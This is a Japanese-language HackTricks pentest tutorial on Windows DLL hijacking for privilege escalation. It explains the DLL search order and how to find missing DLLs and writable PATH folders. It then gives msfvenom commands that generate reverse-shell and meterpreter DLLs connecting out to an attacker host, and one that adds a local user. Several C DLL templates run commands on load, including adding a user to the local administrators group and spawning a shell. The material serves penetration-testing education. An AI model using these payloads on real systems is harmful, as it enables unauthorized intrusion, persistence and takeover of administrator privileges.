.. | ||
README.md | ||
writable-sys-path-+dll-hijacking-privesc.md |
Dll Hijacking
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝するまたはHackTricksをPDFでダウンロードするには、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- Discordグループに参加する💬(https://discord.gg/hRep4RUj7f)またはtelegramグループに参加するか、Twitter🐦でフォローする@carlospolopm。
- HackTricks(https://github.com/carlospolop/hacktricks)とHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
バグバウンティのヒント:Intigritiにサインアップして、ハッカーによって作成されたプレミアムバグバウンティプラットフォームを利用しましょう!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
基本情報
DLLハイジャッキングは、信頼されたアプリケーションを悪意のあるDLLを読み込むように操作することを指します。この用語には、DLLスプーフィング、インジェクション、およびサイドローディングなどの複数の戦術が含まれます。主にコードの実行、持続性の達成、そして稀に特権昇格に使用されます。ここでは昇格に焦点を当てていますが、ハイジャッキングの方法は目的に関係なく一貫しています。
一般的な技術
DLLハイジャッキングには、各アプリケーションのDLL読み込み戦略に依存する効果が異なるいくつかの方法があります:
- DLLの置換: 正規のDLLを悪意のあるDLLと交換し、オプションでDLLプロキシングを使用して元のDLLの機能を維持します。
- DLLサーチオーダーハイジャック: 悪意のあるDLLを正規のDLLの前に検索パスに配置し、アプリケーションの検索パターンを悪用します。
- ファントムDLLハイジャック: アプリケーションが読み込む必要があるDLLが存在しないと思い込んで悪意のあるDLLを作成します。
- DLLリダイレクション:
%PATH%
や.exe.manifest
/.exe.local
ファイルなどの検索パラメータを変更して、アプリケーションを悪意のあるDLLに誘導します。 - WinSxS DLLの置換: WinSxSディレクトリ内の正規のDLLを悪意のあるDLLに置き換えることで、通常はDLLサイドローディングと関連付けられる方法です。
- 相対パスDLLハイジャック: ユーザーが制御するディレクトリに悪意のあるDLLを配置し、コピーされたアプリケーションと似たようなバイナリプロキシ実行技術を模倣します。
欠落しているDLLの検出
システム内の欠落しているDLLを見つける最も一般的な方法は、sysinternalsからprocmonを実行し、次の2つのフィルターを設定することです:
そして、ファイルシステムアクティビティを表示します:
一般的な欠落しているdllを探している場合は、数秒間これを実行しておきます。
特定の実行可能ファイル内の欠落しているdllを探している場合は、「プロセス名」が「<exec name>」を含むような別のフィルターを設定し、実行してからイベントのキャプチャを停止します。
欠落しているDLLの悪用
特権を昇格させるためには、特権プロセスが読み込もうとするdllを書き込むことができる最善の方法は、検索される場所のいずれかにdllを書き込むことです。したがって、元のdllよりも前にdllが検索されるフォルダーにdllを書き込むことができるか、またはdllがどこかで検索されるフォルダーに書き込むことができ、元のdllがどのフォルダーにも存在しない場合があります。
Dll検索順序
Microsoftのドキュメント 内で、DLLが特定の方法で読み込まれる方法が記載されています。
Windowsアプリケーションは、特定のシーケンスに従って事前定義された検索パスに従ってDLLを検索します。DLLハイジャックの問題が発生するのは、有害なDLLがこれらのディレクトリの1つに戦略的に配置され、正規のDLLよりも先に読み込まれることが確実になる場合です。これを防ぐ解決策は、アプリケーションが必要とするDLLを参照する際に絶対パスを使用することを確認することです。
32ビットシステムでのDLL検索順序は以下の通りです:
- アプリケーションが読み込まれたディレクトリ。
- システムディレクトリ。このディレクトリのパスを取得するには、GetSystemDirectory 関数を使用します。(C:\Windows\System32)
- 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(C:\Windows\System)
- Windowsディレクトリ。このディレクトリのパスを取得するには、GetWindowsDirectory 関数を使用します。(C:\Windows)
- 現在のディレクトリ。
- PATH環境変数にリストされているディレクトリ。これには、App Pathsレジストリキーで指定されたアプリケーションごとのパスは含まれません。App Pathsキーは、DLL検索パスの計算に使用されません。
これがSafeDllSearchModeが有効な状態でのデフォルトの検索順序です。無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode レジストリ値を作成し、0に設定します(デフォルトは有効)。
LoadLibraryEx 関数がLOAD_WITH_ALTERED_SEARCH_PATHで呼び出されると、検索はLoadLibraryExが読み込んでいる実行可能モジュールのディレクトリから開始されます。
最後に、dllが名前だけでなく絶対パスを指定して読み込まれる可能性があることに注意してください。その場合、そのdllはそのパスのみで検索されます(dllに依存関係がある場合、名前で読み込まれたように検索されます)。
検索順序を変更する他の方法もありますが、ここでは説明しません。
Windowsドキュメントからのdll検索順序の例外
Windowsドキュメントには、標準のDLL検索順序からの特定の例外が記載されています:
- メモリにすでに読み込まれているDLLと同じ名前を共有するDLL が見つかった場合、システムは通常の検索をバイパスします。代わりに、リダイレクトとマニフェストのチェックを実行し、メモリにすでにあるDLLにデフォルトで移行します。このシナリオでは、システムはDLLの検索を実行しません。
- DLLが現在のWindowsバージョンの既知のDLLとして認識される場合、システムはその既知のDLLのバージョンを利用し、その依存するDLLと共に、検索プロセスを省略します。レジストリキーHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs には、これらの既知のDLLのリストが保持されます。
- DLLに依存関係がある場合、依存するDLLの検索は、初期のDLLが完全なパスを通じて特定されたかどうかに関係なく、モジュール名のみで指定されたかのように実行されます。
特権の昇格
要件:
- 異なる特権で動作するプロセスを特定する(水平または垂直移動)、かつDLLが不足している。
- DLLが検索される任意のディレクトリに書き込みアクセスが利用可能であることを確認する。この場所は、実行可能ファイルのディレクトリまたはシステムパス内のディレクトリである可能性があります。
はい、要件を見つけるのは複雑です。デフォルトでは特権のある実行可能ファイルがDLLを欠いていることを見つけるのは奇妙であり、システムパスのフォルダに書き込み権限があることはさらに奇妙です(通常はできません)。しかし、設定が誤っている環境では、これが可能です。
要件を満たすことができる幸運な場合、UACMEプロジェクトをチェックしてみてください。プロジェクトの主な目標はUACをバイパスすることですが、おそらく書き込み権限があるフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャッキングのPoCが見つかるかもしれません。
フォルダのアクセス許可を確認するには、次のようにします:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
そして、PATH内のすべてのフォルダのアクセス許可を確認します:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
次のコマンドを使用して、実行可能ファイルのインポートとDLLのエクスポートを確認することもできます:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Dllハイジャッキングを悪用して特権を昇格させる方法の完全ガイドについては、システムパスフォルダに書き込み権限があるかどうかを確認してください:
{% content-ref url="writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
自動化ツール
Winpeasは、システムパス内の任意のフォルダに書き込み権限があるかどうかをチェックします。
この脆弱性を発見するための他の興味深い自動化ツールには、PowerSploit functionsがあります:Find-ProcessDLLHijack、Find-PathDLLHijack、Write-HijackDll。
例
悪用可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの1つは、実行ファイルがそれからインポートするすべての関数を少なくともエクスポートするdllを作成することです。とにかく、Dllハイジャッキングは、中間インテグリティレベルから高いレベルに(UACをバイパスして)昇格するか、高いインテグリティからSYSTEMに昇格するのに便利です。有効なdllを作成する方法の例は、このdllハイジャッキングの実行に焦点を当てた研究で見つけることができます:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows。
さらに、次のセクションでは、テンプレートとして役立つ基本的なdllコードをいくつか見つけることができます。これらは、必要のない関数がエクスポートされたdllを作成するために使用できます。
Dllの作成とコンパイル
Dllプロキシ化
基本的にDllプロキシは、ロードされるときに悪意のあるコードを実行できるDllですが、実際のライブラリにすべての呼び出しをリレーすることで、本来のライブラリと同様に機能することもできます。
DLLirantやSpartacusというツールを使用すると、実際に実行可能ファイルを指定し、プロキシ化したいライブラリを選択してプロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。
Meterpreter
revシェルを取得(x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
メータープリンターを取得する(x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
ユーザーを作成します(x86バージョンはx64バージョンは見当たりませんでした):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
あなた自身
複数のケースで、コンパイルしたDllは、被害者プロセスによってロードされる関数を複数エクスポートする必要があります。これらの関数が存在しない場合、バイナリはそれらをロードできず、攻撃は失敗します。
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
参考文献
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
バグバウンティのヒント: Intigriti に サインアップ して、ハッカーたちによって作成されたプレミアム バグバウンティプラットフォーム に参加しましょう!https://go.intigriti.com/hacktricks で今すぐ登録して、最大 $100,000 のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)** で、ゼロからヒーローまでAWSハッキングを学びましょう!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝 したい場合や HackTricks をPDFでダウンロード したい場合は、SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズ を入手する
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- 💬 Discordグループ や telegramグループ に 参加 したり、 Twitter 🐦 @carlospolopm を フォロー する
- HackTricks と HackTricks Cloud のGitHubリポジトリに PRを提出 して、あなたのハッキングテクニックを共有する